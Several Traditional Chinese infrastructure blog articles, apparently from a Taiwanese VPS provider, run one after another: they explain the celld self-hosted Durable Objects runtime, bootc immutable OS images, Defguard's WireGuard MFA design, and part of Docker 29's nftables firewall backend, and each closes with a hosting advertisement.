celld 的架構在 self-hosted 這個賽道上是一次很乾淨的答案：V8 執行 JavaScript、每一個 cell 各自一顆 SQLite、LTX 把交易複製到 S3 兼容 bucket、bucket 同時擔任協調層。沒有 Raft、沒有專屬控制平面、沒有失效偵測服務。這篇文章要看的就是這個「S3 直接當一致性協定」的設計為什麼跑得動，以及在臺灣 VPS 上實際部署要處理哪些事。

沒有 Raft 這件事的份量

分散式有狀態系統的預設答案幾乎都是 Raft 或它的變種。etcd、Consul、CockroachDB、TiKV、FoundationDB 全走這條路，理由也很清楚：多節點寫入需要達成共識，共識就得有選舉、有 log replication、有 leader lease。這條路走過三十年，工程上很成熟，但代價是複雜度會滲透到系統每一層——節點數要是奇數、網路分割要靠 quorum 撐、log compaction 要小心處理、成員變更是獨立協定。

celld 選擇的路線是把這一整套踢掉，讓 S3 兼容 bucket 直接承擔協調責任。這條路能成立的技術前提是 S3 API 本身已經演化到能提供 conditional write 語意——PutObject 帶 If-None-Match: * 或 If-Match: <etag> 標頭就是一次跨節點的 compare-and-swap。celld 用這個 CAS 原子性做兩件事：cell 的 ownership claim、以及每一次寫入的 fencing 檢查。

實務意義是節點之間不需要互相看得到。傳統 Raft cluster 要三個以上節點彼此建立長連接、跑心跳、選 leader；celld 節點只跟 S3 bucket 溝通，彼此之間只在 request routing 時才產生流量。這對於跨區部署或想在多個 VPS 供應商之間拉冗餘的場景幫助很大——不用預先建立 mesh network、不用擔心 quorum 撐不撐得住區域斷網。

代價當然存在。S3 的每次寫入延遲通常在 20 到 100 毫秒之間，比 Raft cluster 內部一次 log entry 慢一個數量級。celld 官方 benchmark 寫的 durable write latency 大約 90 毫秒就是這個限制決定的下界——不是實作沒調好，是物理上 bucket 就要那麼久才能確認寫入。想拉低這個數字只能靠自架 Garage 或 MinIO 這種 S3 兼容儲存架在區網內。

LTX 加 ownership epoch 才是這個模型的核心

單靠 S3 CAS 建立 ownership 不夠。真正棘手的情境是 split-brain：節點 A 認為自己還擁有某個 cell、開始寫入 SQLite；但因為網路抖動，node A 的 ownership 已經被搶走給 node B。傳統 Raft 靠 term number 加 quorum 保證 leadership，celld 靠的是 ownership epoch 這個概念。

每次 cell 被 claim 走都遞增 epoch number 並寫進 S3 的一個特定 key。node A 在把 SQLite 交易寫到 bucket 之前會做一次 conditional write：只有當 bucket 上的 ownership key 仍然指向 node A 加上正確的 epoch，寫入才算數。這個檢查跟寫入是一起做的（S3 的原子 CAS 語意），所以就算 node A 網路慢半拍、以為自己還握著 cell，寫入這一步就會失敗——node A 這一輪的交易被送進一個帶著舊 epoch 的 path，永遠不會被認為是這個 cell 的有效狀態。

被使用的交易格式是 LTX（Litestream 的 replica format），這是 Ben Johnson 為了 Litestream 定義的一套把 SQLite 頁面變更打包成 segment 的格式。celld 直接把 SQLite 的每一次 commit 攔截下來、封裝成 LTX segment、丟到 bucket 對應 cell 加 epoch 的路徑。cell 醒來時再從 bucket 依 epoch 順序把 LTX segment 回放到本地 SQLite。這比手工設計一套 WAL 傳輸格式好處明顯——LTX 已經被 Litestream 用了幾年，格式穩定、有現成工具能看、Rust 實作也有底子。

這個設計還帶來一個副作用：LTX segment 天生就是 immutable 的，寫進 bucket 之後不會被覆寫。舊 epoch 的 segment 留在 bucket 裡不會傷害資料完整性，只是佔空間而已，可以靠 lifecycle policy 定期清掉。傳統資料庫 replication 常見的 log truncation 跟 GC 這一整層工程可以直接省掉。

每個 cell 一顆 SQLite 的成本剖面

celld 官方公佈的密度數字是：resident cell 的 RAM overhead 大約 0.47 MB，一個 8 GB 節點可以塞 2500 顆 cell；hibernated cell 只留 metadata 在 bucket，記憶體佔用歸零。cell wake time 大約 4 毫秒——這是從 S3 拉最新 LTX segment 回放到本地 SQLite 的時間。durable write latency 90 毫秒、failover 20 秒完成、SPOF 恢復不掉資料。

這個成本剖面適合的工作負載是：租戶數量多、單一租戶負載中等、大部分時間閒置、活躍時要求低延遲讀寫。典型例子是即時協作文件（每份文件一個 cell）、多租戶 SaaS（每個 tenant 一個 cell）、AI Agent 的長對話 session（每段對話一個 cell）。這些場景的共同特徵是「幾百萬顆潛在單位，但同一時間只有一小部分活著」。

不適合的工作負載也很明確：單一 cell 要吃掉整臺機器記憶體的重型工作（拿去跑 vector index 的節點）、需要跨 cell 交易的商業邏輯（celld 沒有 cross-cell 交易）、寫入延遲不能超過 10 毫秒的高頻交易系統（S3 的物理下界擋住）。這些場景還是回頭找 CockroachDB、TiDB 這類 Raft-based 分散式資料庫比較合理。

跟 Rivet Actors、OpenWorkers 的取捨在哪

自架 Durable Objects 這個題目在 2026 年至少浮出三個認真的方案：Rivet Actors、OpenWorkers、celld。三者的差別不在「都是 self-hosted」這個共同點，而在架構選擇的側重。

Rivet Actors 走的是更廣義的 actor 模型，用 Rust 從頭寫、FoundationDB 或 Postgres 當熱儲存、S3 當冷儲存。抽象化不特別綁 Cloudflare API，設計目標是能接住 AI Agent 這類長時間 stateful 工作負載。密度數字更誇張（單一 actor 記憶體 overhead 只有 0.6 KB），但需要拉 FoundationDB cluster 或搭 Postgres，運維成本比 celld 高一階。

OpenWorkers 專注在 Workers runtime 本身的相容性，把 rusty_v8 綁起來提供 KV、R2、Service Binding 這些介面，但不處理 Durable Objects 的分散式狀態。適合已經在 Cloudflare Workers 上跑無狀態或近乎無狀態程式碼的團隊，想把成本從 Cloudflare 帳單搬回自家機房。

celld 的定位剛好卡在中間：它跟 Cloudflare API 的相容性夠深，wrangler.jsonc 直接吃、Durable Objects 完整搬過來；同時它的部署複雜度低得離譜——58 MB 靜態執行檔加一個 S3 兼容 bucket 就跑得起來。用一句話總結三者的定位差別：Rivet 是「AI Agent 導向的高效能 actor runtime」、OpenWorkers 是「無狀態 Workers 的自架版」、celld 是「有狀態 Workers 的最小可行自架版」。

如果團隊已經在用 Cloudflare Workers 跟 Durable Objects、程式碼想不改就搬回自家、可以接受 90 毫秒的寫入延遲，celld 就是目前最直接的答案。想要更高效能或更複雜的 actor 抽象化，再往 Rivet 走。

在臺灣 VPS 上部署 celld 的實際考量

celld 的部署最小組合是：一臺 VPS 加一個 S3 兼容 bucket。實務上要做的決定有三個。

S3 兼容儲存的選擇：直接用 AWS S3 是最省事但延遲最痛。臺灣訪問 S3 Tokyo region 的 RTT 通常 40 到 60 毫秒，加上 S3 內部處理，durable write 很容易衝到 150 毫秒以上。比較合理的路徑是在同一機房架 Garage 或 MinIO——RTT 壓到 1 毫秒以內，durable write 能拉回 20 到 30 毫秒。Garage 對這個場景特別合適，它的設計目標就是分散式 S3 儲存、寫入延遲低、多節點複寫。用 3 節點 Garage cluster 撐 celld 的 bucket，冗餘度跟延遲同時到位。

多節點 celld 的網路拓樸：celld 官方文件明確要求 peer 之間的流量走 private network，因為 request routing 需要節點互相轉發請求給擁有該 cell 的 owner node。WireGuard 或 Tailscale 都是合理選擇——WireGuard 效能較好但要手工管 config，Tailscale 部署快但走 Tailscale coordination server。跨區部署時建議直接自架 headscale 撐 control plane，避開對外部服務的依賴。

cell owner 的區域親和性：celld 沒有內建 cell 的區域偏好機制，一顆 cell 醒在哪個節點是由 request 打到哪決定的。這代表如果多節點分散在不同資料中心、client 從東京連到臺北節點、cell 又被東京節點擁有，每次請求會多一次跨區域 hop。目前的 workaround 是靠應用層 routing 或 sticky load balancing，把同一個 cell 的請求盡量打到同一區。這個機制未來預期會補進 celld，但 v0.1.0 還沒有。

這個模型還缺什麼

celld v0.1.0 是 alpha 版本，官方明確列出目前不覆蓋的 Cloudflare 功能：KV bindings、R2、Cache API、Workers AI、Cron handlers、managed ingress。這些對 Cloudflare Workers 的完整體驗都很重要，但至少 KV 跟 Cron 相對容易在自架環境用 Redis 或 systemd timer 補上。R2 直接用 S3 兼容 bucket 頂就好，本來就是同一件事。

比較困難的是 hostile multi-tenant——celld 明說目前不支援不受信任的 tenant 共用同一組節點。這個限制對 SaaS 場景是個問題，因為使用者提交的 JavaScript 程式碼理論上有機會影響同節點其他 cell。Cloudflare Workers 在這個議題上花了很多年打磨 isolate 邊界，包括 Spectre 緩解、精確計時器阻絕、記憶體限制強制執行。celld 目前的建議是只在信任的內部團隊間共用節點，或者為每個租戶開獨立節點跑。

即便如此，把「有狀態 JavaScript 執行環境」壓縮到單一 58 MB binary 加一個 bucket 就跑得動這件事本身就值得記住。Durable Objects 之前的實作路徑要嘛綁在 Cloudflare 上、要嘛就是拉 Kubernetes cluster 加共識服務加專屬控制平面，門檻高到大部分中小團隊直接放棄。celld 把這個門檻壓到「一臺 VPS 加一個 bucket」的層級，等於把 Durable Objects 這個抽象化從邊緣運算專屬變成任何人都能自架的基礎設施。

要在自家 VPS 上跑 celld 撐真正的 production 工作負載，儲存跟網路那一層要做得夠紮實才有意義——低延遲的 S3 兼容 bucket、穩定的 private network、以及 IP transit 品質決定了 durable write 這條路的實際體驗。NCSE Network 提供的臺灣是方電訊機房 VPS，搭配 Intel Gold CPU 跟 NVMe SSD，適合直接跑 Garage cluster 撐 celld 的儲存後端，也能透過 IP Transit 服務把多節點跨區流量帶起來。想拉一套自架 Durable Objects 環境的團隊，可以到 ncse.tw 了解 VPS 與網路服務選項。

bootc 的上游是 bootc-dev/bootc，Rust 寫的 CLI 工具，MPL 授權。它跟 Fedora 那個 rpm-ostree 的關係最容易讓人搞混——底層依舊是同一套 OSTree，差別在鏡像的傳輸與定義方式從 rpm 套件樹改成了 OCI 容器映像。Red Hat 從 RHEL 9.4 開始推 bootc，RHEL 10 把 image mode 正式標為 GA、Fedora bootc 從 41 版起成為官方變體，Rocky Linux、AlmaLinux、CentOS Stream 都提供對應的 bootc 基底映像。

從 rpm-ostree 走了十五年才收成的東西

Fedora Silverblue 從 2018 年開始把 OSTree 這套「檔案系統原子升級」的想法推上桌面，走了七年到現在仍舊算小眾——原因是它跟開發者熟悉的容器生態完全脫節。系統管理員得學一整套 rpm-ostree 指令：rpm-ostree upgrade、rpm-ostree install、rpm-ostree deploy、ostree admin status，每個指令都對應 OSTree 內部的 commit 概念，跟 podman、docker 那邊不共用任何心智模型。

bootc 拿掉這層抽象，直接說：Containerfile 就是 OS 定義。FROM quay.io/centos-bootc/centos-bootc:stream10 拉一份基底映像，RUN dnf install nginx tailscale 加上要的套件，COPY nginx.conf /etc/nginx/nginx.conf 塞設定進去，最後 podman build -t registry.example.com/servers/web:v42 打包，podman push 送上 registry。目標機器只要跑 bootc update 就會拉最新映像、staged 到 B 分區、下次開機生效。

跟 Docker container 的差別在於，這支映像檔不是拿去 podman run 起容器的——bootc 直接把整份映像 rebase 到本地磁碟，變成 OS 的下一個部署槽位。同一支 Containerfile 可以用 bootc-image-builder 額外產出 qcow2、ISO、AMI 等磁碟格式，配到 VPS 商的自訂映像上傳流程裡直接開新機，本地開發跟雲端部署共用同一份定義。

A/B 部署跟 atomic rollback 的實際細節

底下的 OSTree 用 A/B 兩個部署槽位撐住 atomic 這件事。假設目前跑的是 deployment A，bootc update 拉來新映像後，OSTree 把它解到 B 槽位，A 完整不動。bootloader 的 GRUB config 更新指向 B，下次開機從 B 起來。B 起來後發現有問題，bootc rollback 一行指令把 default 換回 A，重開機就回到升級前的狀態，整個回滾流程平均不到兩分鐘。

/etc 跟 /var 是唯一的可寫路徑，其他全部唯讀。/etc 的處理是 3-way merge：新映像的 /etc 預設值、舊部署的 /etc 預設值、當前實際內容三方比對，管理員手改過的檔案會保留、沒改過的則跟隨新版。/var 完全由主機保留，映像升級不動它。這對跑資料庫、儲存服務的伺服器很關鍵——PostgreSQL 的 data directory、Docker Registry 的儲存路徑不會因為 OS 升級被覆蓋。

kernel 更新在 bootc 底下的流程跟傳統發行版是斷層式的差別。傳統 dnf update kernel 是解 rpm、寫進 /boot、跑 dracut 重建 initramfs，中間任何一步失敗都可能開不了機。bootc 這邊 kernel 跟 initramfs 都是映像檔的一部分，構建階段就已經在 CI 環境驗證過，目標機器只是把整份映像檔複製到 B 槽位。initramfs 損毀、GRUB 錯亂這類災難在這個模型底下難度成本高很多。

Containerfile 定義 OS 這件事在維運上的意義

實務上 bootc 把伺服器組態管理這件事從 Ansible/Puppet/Chef 這一整代工具搬到 CI/CD pipeline。過去要維護 20 臺 VPS 的一致性得寫一套 Ansible playbook，每次改動先 --check 再 --diff 再套用，還得處理某臺機器 apt cache 卡住這類邊界狀況。bootc 底下，Containerfile 進 git、GitHub Actions 觸發 podman build、推 registry，每臺機器排 systemd timer 定時跑 bootc update，一致性由映像檔的 digest 保證。

這個模型對 immutable infrastructure 那套「機器是家畜不是寵物」的理念是完整實現。要換版本就是換映像 tag、要 rollback 就是換回舊 tag、要新增節點就是拿磁碟映像開新 VM。GitOps 那套「宣告式 desired state」從 Kubernetes 資源層延伸到 OS 層。

要提醒的是這條路線不適合過去習慣 dnf install 隨時裝套件的伺服器維運模式。bootc 有 bootc usr-overlay 這個暫時性的可寫層，但重開機會消失，設計上只是為了臨時 debug。長期要裝的東西必須進 Containerfile。這是有意的取捨——把「當下手動改了什麼」這個組態飄移的最大來源直接堵住。

跟 Talos、Flatcar 差在哪

自架 immutable OS 的選項不止 bootc 一個，Talos 跟 Flatcar 是同賽道另外兩條路，定位相當不同。

Talos 是 Kubernetes 節點專用 OS，SSH 拔掉、所有管理走 API、根檔案系統掛成 SquashFS 唯讀。強項是完全鎖死的攻擊面，缺點是只能跑 Kubernetes——想在同一臺機器跑一支獨立的 nginx、跑一支 tailscale daemon、或跑任何非容器化的傳統服務都做不到。

Flatcar Container Linux 是 CoreOS 血脈的直接繼承者，走 dual-partition A/B ext4 掛載，root 可寫、/usr 唯讀。它比較像「附贈容器 runtime 的通用 Linux」，保留 shell 跟 SSH，SSH 進去可以修東西。這條路線適合過渡期——習慣 SSH 進去 debug 的團隊可以先搬 Flatcar 再談完整 immutable。

bootc 定位介於這兩者之間：完整的通用型 OS（能跑非容器化的 systemd unit、能直接裝 nginx 起服務），但升級模型走完整 immutable。SSH 預設保留，能進去看，但改的東西不能長期保留。RHEL 10 用 image mode 推的就是這條路，Fedora bootc 是社群版本。

決策上的建議清楚：Kubernetes 節點選 Talos、要一般伺服器搭配 immutable 升級選 bootc、暫時還離不開 SSH 手動改東西的過渡期選 Flatcar。三者不是同一條路的競爭替代品，而是同一個大方向上的三種切片。

目前在 VPS 上部署的實際限制

bootc 在 2026 年 9 月的狀態下已經算得上 production ready，但幾個限制值得提前知道。

多發行版支援還在收斂。RHEL 10、Fedora bootc、Rocky Linux、AlmaLinux、CentOS Stream 是第一批完整支援，Debian bootc 專案存在但還在 experimental 階段、Ubuntu 官方尚無 bootc 基底映像，社群版本要自己編。對想在 Debian 13 或 Ubuntu 26.04 生態繼續走的團隊來說是實際障礙——短期內只能靠 Fedora/RHEL 系走這條路。

RPM overlay 這個功能在 bootc 底下被有意壓縮。rpm-ostree 允許 rpm-ostree install foo 動態加套件到當前部署，但 bootc 明確不鼓勵這種用法——要加東西進 Containerfile 重新構建。這對「每臺伺服器角色略有差異」的場景需要重新設計：要嘛做多份 Containerfile，要嘛把差異用 systemd unit、config 掛載處理。

VPS 商的自訂映像上傳流程是另一個環節。bootc-image-builder 產出的 qcow2 / raw / AMI 檔案，需要 VPS 商支援自訂映像上傳——不是每家都提供這個功能，或提供了但有大小限制。走 bootc 之前先確認手上 VPS 方案的自訂映像流程能不能過關。

什麼場景該選 bootc

放下概念上的優雅，判斷標準務實。

一組 VPS 跑相同角色的服務、需要保證機器之間一致性、常常因為升級卡住重開不能開機——這是 bootc 的甜蜜點。CI/CD pipeline 已經在跑 Docker 映像構建的團隊，把 OS 塞進同一套流水線幾乎沒有額外學習成本。

單獨一臺 VPS 跑幾個雜項服務、每次升級要進去手動調東西、依賴一堆非官方 apt/dnf repo、要跑客製 kernel 模組——這條路不划算，繼續用 Debian/Ubuntu 傳統模型比較省事。

過去用 Ansible / SaltStack 管十幾臺 VPS 的團隊值得認真評估遷移。Ansible 的 idempotent 假設在實際跑起來邊界狀況一堆，bootc 用「換整個 OS 映像」把這條路徑上的不確定性拿掉。學習曲線集中在前期把 Containerfile 寫對，後續維運成本明顯低於 Ansible。

選 bootc 前該確認的底層條件

跑 bootc 的 VPS 對底層平臺有幾個具體要求：VPS 商必須支援自訂映像上傳（或至少支援 Fedora/RHEL/AlmaLinux 官方 bootc 映像）、磁碟容量要足夠放 A/B 兩份部署（實務上映像大小差不多是傳統 minimal 安裝的 1.5 倍）、網路頻寬要能撐每次升級的映像檔傳輸量，尤其在多節點同時 pull 大型映像時。

NCSE Network 在臺灣是方電訊機房提供的 VPS 主機採用 Intel Xeon Gold CPU 與 NVMe SSD，在 bootc 這類需要頻繁磁碟 I/O 與整份映像檔傳輸的部署流程上有實際優勢；同時提供從 10M 到 100G 的 IP Transit 頻寬彈性，因應 immutable OS 每次升級的映像傳輸需求。前往 ncse.tw 了解 VPS 方案細節。

Defguard 是用 Rust 寫的零信任遠端存取平臺，桌面端走 Tauri v2、伺服器端把身分、政策、閘道拆成三個獨立元件。它的取捨是死守 WireGuard 官方協定、把所有企業級功能包在上一層，讓底下的 kernel WireGuard 或 wireguard-go 完全不需要動。

WireGuard 為什麼沒 MFA，以及這件事在實戰的成本

WireGuard 協定的每一次 handshake 都只做一件事：走 Noise IK 模式的靜態 ECDH，用雙方靜態公鑰配對算出共同秘密，MAC 驗過就給對方一組短期對稱金鑰。整個交握不用數位簽章、不用帳號密碼，也沒有任何挑戰響應——就算掛上 pre-shared key，也只是給對稱通道再疊一層抗量子的預混料，不改變授權模型。

這個設計拿去做點對點翻牆或家用 site-to-site 沒問題，但企業採用會踩到三個典型場景。第一個是筆電被偷：攻擊者只要能拿到 wg0.conf，vpn 就是他的，沒有第二道關卡。第二個是內部人員離職：管理者得手動把那把公鑰從所有 peer 檔案裡刪掉，稍有遺漏就是後門。第三個是合規要求——NIS2、ISO 27001、金融業內稽核，越來越多明文要求「所有遠端存取需經 MFA」，一把靜態公鑰過不了這條線。

過去業界的做法多半是繞路。Tailscale 用它的協調伺服器接 SSO，登入時發一次性設定，靠 client 幫忙擋住；NetBird 走同一條路，把身分驗證做在協調層，peer 表由中央推送。這兩條路的共同前提是：得用自家 client、自家協定去疊，不能拿標準 wg-quick 直接連。這個代價對於已經有既有 WireGuard 部署的組織來說並不小。

Defguard 用 PSK 當 session token 的巧思

Defguard 2.1 的做法直接得多。WireGuard 的每個 peer 除了公鑰外，本來就可以掛一組 pre-shared key，這是協定支援的欄位。Defguard 把這欄位重新利用成「授權票券」：MFA 通過前，Gateway 不會把 peer 塞進 wg 介面，也不會發 PSK；MFA 通過的當下，Core 產生一組新的 PSK，透過 Edge 這個對外代理下發給 client，同時把 peer + PSK 寫進 Gateway 的 wg 設定。

在使用者這端看到的是：桌面 client 按下連線，跳出 TOTP 或 WebAuthn 或生物辨識的驗證頁，過關之後 client 才真的建立 handshake。從 WireGuard 協定本身的角度看，這就是一次標準的 wg0 連線；差別在於這把 PSK 是動態的、每次 session 都不同。

登出的偵測是這個機制裡最巧的地方。WireGuard 是無狀態的，client 直接關筆電、拔網路，Gateway 這端沒有任何通知。Defguard 靠讀 wg 的 latest handshake 欄位來判斷——WireGuard 大約每 2 分鐘會做一次金鑰重協商（rekey），如果最新的 handshake 時間超過 3 分鐘沒動，Defguard 就把這個 peer 標記為已離線，刪掉 PSK、從 wg 介面移除 peer。下次要連回來，client 得重跑一次 MFA 流程。

這個設計的重點是：所有的驗證跟撤銷都做在 WireGuard 協定本身之外，但作用力落在 wg 介面上。底層 WireGuard 完全不需要改，也就自動繼承了它的效能、跨平臺、審計過的密碼學。跟那些把 auth 塞進協定本身、需要改 client 也改 server 的方案比，Defguard 這條路的相依性明顯低很多。

三段式架構把管理平面藏在攻擊面之外

Defguard 2.0 引進、2.1 補強的三段式架構是另一個值得注意的設計：Core、Edge、Gateway 三個元件各司其職。Core 管身分、政策、稽核紀錄——換句話說就是資料庫跟決策引擎，這一塊絕對不該直接曝在公網。Edge 是唯一對外暴露的元件，職責是幫 client 跟 Core 之間轉發已加密的驗證流量，同時處理 TLS 終結。Gateway 才是實際跑 WireGuard、把 peer 塞進 wg0 的地方，通常部署在被保護的網段裡。

這個切分方式的實務意義是：管理平面（Core）不需要有公網 IP，只要 Edge 能連得到 Core、Gateway 能連得到 Core 就夠了。攻擊者掃遍全網也找不到 Core，能打的只有 Edge——而 Edge 是刻意設計成薄薄的一層代理，攻擊面小、易於審計。這個切法跟 Cloudflare Access、Twingate、Google BeyondCorp 的架構本質上是同一套邏輯。

2.0 起 Core 跟 Edge 都內建 SSL 終結，不需要另外架 Nginx 或 Caddy 反代處理 TLS，也不用手動管憑證輪替。這件事對於中小型自架環境是實際的簡化——少一層元件就少一個要調的設定檔跟一個要監控的服務。

2.1 起也支援多顆 Gateway 跟多顆 Edge 部署，高可用性從 1.x 的「靠 keepalived 或前面架 LB」變成原生支援。對於跨機房或跨地區的部署，這條路乾淨很多。

2.1 的裝置姿態驗證把零信任的一塊拼圖補上

過去 Defguard 的驗證邏輯到 MFA 就結束了：使用者驗過了、裝置公鑰在清單裡，就放行。2.1 引進的 Device Posture Verification 把「這臺裝置本身安不安全」也拉進決策——client 每次連線前，會回報自己的作業系統版本、client 版本、系統更新狀態、防毒軟體是否啟用、磁碟是否加密、是否在 AD 網域裡等資訊，Core 比對政策後才決定放不放行。

實務意義很直接。典型攻擊路徑是：員工的個人筆電裝了 defguard client、驗證通過，但這臺筆電作業系統三個月沒更新、瀏覽器裝了不明擴充——一旦裝置被打，攻擊者就借用這個合法 tunnel 進內網。Device posture 讓管理者可以定義「作業系統 patch 落後超過 30 天禁止連線」「未啟用磁碟加密的裝置不能連生產環境」這類規則，把裝置本身的安全狀態接進決策。

這條路 CrowdStrike、Cloudflare WARP 已經走了幾年，商用產品也不便宜。Defguard 把它做進開源核心的意義是：自架 VPN 的組織不需要再另外買一套 EDR 端點政策管理才能達到同樣效果，對於已經有內部 IT 但預算不足以疊商用 zero-trust 平臺的中型組織尤其實用。政策以 location 為單位設定——「生產環境要嚴、測試網段可以寬鬆」這種常見需求可以直接落地，不需要多開好幾套 defguard instance。

對照 Headscale 跟 NetBird，Defguard 該選在哪

三套方案在自架 WireGuard 圈子裡常被拿來比較，但定位其實不太一樣。

Headscale 是 Tailscale 協調伺服器的開源重製，最大優勢是可以繼續用 Tailscale 官方 client，全平臺體驗一致，只是後端換成自架。缺點是它繼承了 Tailscale 的所有設計限制，MFA、SSO 得靠外掛，Web UI 幾乎沒有官方支援，適合已經用過 Tailscale、想把控制權拉回自家的人。

NetBird 是全自研路線，自己的 client、協調層、relay，BSD-3 授權。MFA 接在 OIDC 那邊，登入時驗過就放行，session 期間不再驗第二次。功能齊全但架構相對重，對中大型組織友善。

Defguard 的差異在於完全不動 WireGuard 協定、MFA 落在資料層（每次 tunnel 建立都要驗）、加上 device posture。對需要過稽核的組織是直接的合規武器——每次連線的驗證紀錄都在 log 裡，可以拿出來給稽核看。缺點是需要跑自家桌面 client，不能用 wg-quick 直接連（因為 wg-quick 不會跑 MFA）。

實用建議：想要 Tailscale 那種即開即用、對合規需求不高，選 Headscale；已經在跑 OIDC 生態、需要 SSO 但不介意架構重，選 NetBird；有合規需求、要每次連線都驗 MFA、又想把裝置安全狀態接進決策，Defguard 是這三者裡唯一能一次到位的。

VPS 上部署 Defguard 該怎麼放

Core 不該對外曝 IP，乾淨的做法是在內部 VPS 或機房內主機跑 Core，透過內部網路連 Edge 跟 Gateway。Edge 放在有公網 IP 的 VPS 上，因為只做代理跟 TLS 終結，512MB 到 1GB 記憶體的小機器就夠用。Gateway 放在被保護網段邊界，如果整套系統就是要保護單一 VPS 上的服務，跟被保護的應用同機部署也可以。

WireGuard 對頻寬跟延遲都敏感，選 VPS 時要注意實體位置跟到使用者的 RTT。臺灣本地機房比起海外節點在跨海延遲上有 100 到 200ms 的優勢，在 tunnel 上疊 SSH、遠端桌面、資料庫連線這類互動式工作負載感覺很明顯。IP Transit 品質也直接影響體感，同樣是臺灣機房，接骨幹跟走家用線的 peering 差好幾倍。

Gateway 端建議跑 Linux kernel WireGuard 而不是 wireguard-go，前者在單顆現代 CPU 上可以吃到接近 10Gbps，後者只能推到 500Mbps 左右。Debian 12、Ubuntu 22.04 以上跟主流雲廠商的 Rocky Linux 9 都內建 kernel 支援，不需要另外編。

Defguard 2.1 免費層支援 10 個使用者、30 臺裝置，超過就得走商用授權。這條線中型組織要注意，也可以先停在 1.6.x 分支——支援到 2026 年 10 月 31 日，之後就沒有安全更新。

結論：把 MFA 拉進資料層是自架 VPN 該走的下一步

WireGuard 協定本身極簡是它的優勢，也是它在企業採用上的天花板。Defguard 2.1 的取徑證明了一件事：不用動協定、不用改 client 底層，也能把 MFA 跟裝置姿態這些現代零信任的必備能力補完。對於在意合規、又不想把 VPN 送到 SaaS 廠商手上的組織，這是 2026 年開源選項裡最完整的一套。

NCSE Network 在臺灣是方電訊機房提供 VPS 主機服務，搭配 IP Transit 網路，適合部署 Defguard 這類需要低延遲、穩定連線的自架零信任閘道。若考慮把遠端存取架構從傳統 VPN 升級到零信任模式，可以參考 ncse.tw 上的 VPS 與網路服務方案，把 Core、Edge、Gateway 三段式架構跑在同一個機房內的低延遲網段裡。

這件事跟 Docker 之前那些「舊命令會 deprecated 但還會活五年」的節奏完全不一樣。切換到 nftables backend 是明示行為，iptables-nft 那條相容層路徑其實已經跑得夠久了，但只要 daemon 走 iptables 就會沿用舊 chain。真正踩雷的是把 firewall-backend 手動改成 nftables 之後——iptables 那份規則會被清掉一部分、DOCKER-USER 的跳轉還會保留到重開機為止，之後就再也不加了。既有的 UFW 規則、iptables -I DOCKER-USER 開機腳本、部分基礎設施防火牆自動化工具，全部在這個切點失效。

為什麼要重畫 firewall backend 這條路線

Docker 從第一天起就靠 iptables 開關容器網路。多年下來累積出的 chain 結構是 DOCKER、DOCKER-ISOLATION-STAGE-1、DOCKER-ISOLATION-STAGE-2、DOCKER-USER，其中 DOCKER-USER 是官方唯一保證「Docker 不會覆蓋」的插點，讓管理員能塞自己的規則進去做防火牆策略。這套結構撐了將近十年。

問題是，主流發行版早就把預設防火牆改成 nftables。Debian 10、Ubuntu 20.04、RHEL 8 都是 2019 到 2020 年就完成切換，iptables 這支指令實際上是 iptables-nft 相容層，把 iptables 語法翻譯成 nftables 規則寫進 kernel。這層翻譯多年下來累積出兩個問題：Docker 寫的規則跟 host 上其他 nftables 規則的優先序時常衝突、firewalld 的 direct interface 已經被官方標記 deprecated 且要移除。Docker 再堅持走 iptables 抽象，等於自願被綁在一個逐漸失去支援的 API 上。

Docker 29 給出的答案是拿掉中間人：daemon 直接呼叫 nft 指令寫規則、跟 host 的 nftables 世界一起共存。當前是實驗性的，官方講白了未來版本會反過來把 nftables 變預設、iptables backend 標記 deprecated，時程沒公開但方向確定。

啟用之後 host 上的 table 長什麼樣

要開啟這條 backend，/etc/docker/daemon.json 加上一行：

1
2
3

{
  "firewall-backend": "nftables"
}

重啟 dockerd 之後執行 docker info | grep -i firewall 應該回 Firewall: nftables。這時候用 nft list ruleset 掃一遍會看到兩張新表：ip docker-bridges 跟 ip6 docker-bridges，各自包一組 base chain。IPv4 那張表的結構長這樣（節錄）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

table ip docker-bridges {
    chain filter-forward {
        type filter hook forward priority filter; policy accept;
        ...
    }
    chain nat-prerouting {
        type nat hook prerouting priority dstnat; policy accept;
        fib daddr type local counter jump docker-bridge-nat-prerouting
    }
    chain raw-prerouting {
        type filter hook prerouting priority raw; policy accept;
        ...
    }
}

每建立一個 user-defined bridge network 會在這兩張表裡再插一組 chain，命名帶 network id 前綴。這跟舊 iptables 結構最大的差異是「命名 table」概念：Docker 完全擁有 docker-bridges 這兩張表，其他人不該碰。官方文件明確講「不要直接改 Docker 的 table，會在下次規則同步時被蓋掉」——這比 iptables 世代更嚴格。

順帶一提，docker info 底下如果看到 Firewall: iptables (nft)，那代表 backend 還是 iptables、只是 host 上的 iptables 走 nft 翻譯，跟 Docker 29 這條新路線是兩回事。這兩者很容易搞混。

DOCKER-USER 消失之後，自訂規則掛在哪

新的 nftables backend 沒有 DOCKER-USER 這條 chain。想在 forward 路徑上插自己的規則，做法是另開一張 table、掛在跟 Docker 相同的 hook 上、用 chain priority 排序。範例：

1
2
3
4
5
6

table ip my-filter {
    chain forward-in {
        type filter hook forward priority filter - 10; policy accept;
        iifname "eth0" ip saddr != 203.0.113.0/24 counter drop
    }
}

priority filter - 10 表示這條 chain 比 Docker 的 filter chain 早跑，先擋、再放行 Docker 那份規則。如果要在 Docker 之後跑（例如記錄已經被 Docker 放行的封包），寫 priority filter + 10。這套機制比舊的 DOCKER-USER 靈活很多——同時掛多層規則、精確控制順序，但也逼管理員要理解 netfilter hook 跟 priority 的關係，門檻明顯高一階。

真正麻煩的是「放行」語意。iptables 世代在 DOCKER-USER 加 -j ACCEPT 就等於這條封包放行完成、其他 chain 不會再擋。nftables 世代不吃這一套：accept 動作只是離開當下這條 chain，同一個 hook 的其他 base chain 還是會照跑，Docker 那份規則裡如果有 drop 一樣會生效。

Docker 29 的解法是新增 --bridge-accept-fwmark 這個 daemon option。用法是：在自己那條較早跑的 chain 裡對封包打 fwmark，Docker 看到有這個 mark 就跳過 drop 規則直接放行。設定範例：

1
2
3
4

{
  "firewall-backend": "nftables",
  "bridge-accept-fwmark": "0x1/0x1"
}

搭配自己的規則：

1
2
3
4

chain accept-trusted {
    type filter hook forward priority filter - 10; policy accept;
    ip saddr 10.0.20.0/24 meta mark set 0x1
}

這種寫法一開始會覺得很繞，實際上是 nftables 世代處理「跨 chain 訊號傳遞」的標準做法。理解成本擺在這裡，遷移舊部署腳本就是逐條重寫，沒有捷徑。

IP forwarding 不再幫你打開，policy=DROP 也會出事

